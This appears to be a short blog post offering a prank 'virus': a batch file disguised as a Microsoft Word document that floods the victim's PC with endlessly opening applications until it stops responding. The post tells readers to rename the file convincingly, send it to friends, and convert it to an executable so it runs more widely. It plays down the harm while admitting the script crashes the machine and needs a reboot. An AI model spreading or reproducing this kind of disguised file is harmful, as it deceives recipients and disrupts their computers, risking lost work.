Just download New Microsoft Word Document, rename it to something convincing and send it to your friends. As soon as they'll open it, their PC will be flooded with applications continuosly opening.

No! not at all, it might overload your processor and ram which will cause your pc to stop responding and crash but it will not harm your PC in any way.

As stated above the script is harmless in nature but you will need to restart yor PC in order to get a fresh start since there is no stop button in the script :p

NOTE: Since I haven't purchased the dirstributor licencse, New Microsoft Word Document might not execute in every PC. If thats the case, you can easily convert word.bat into an executable by following this link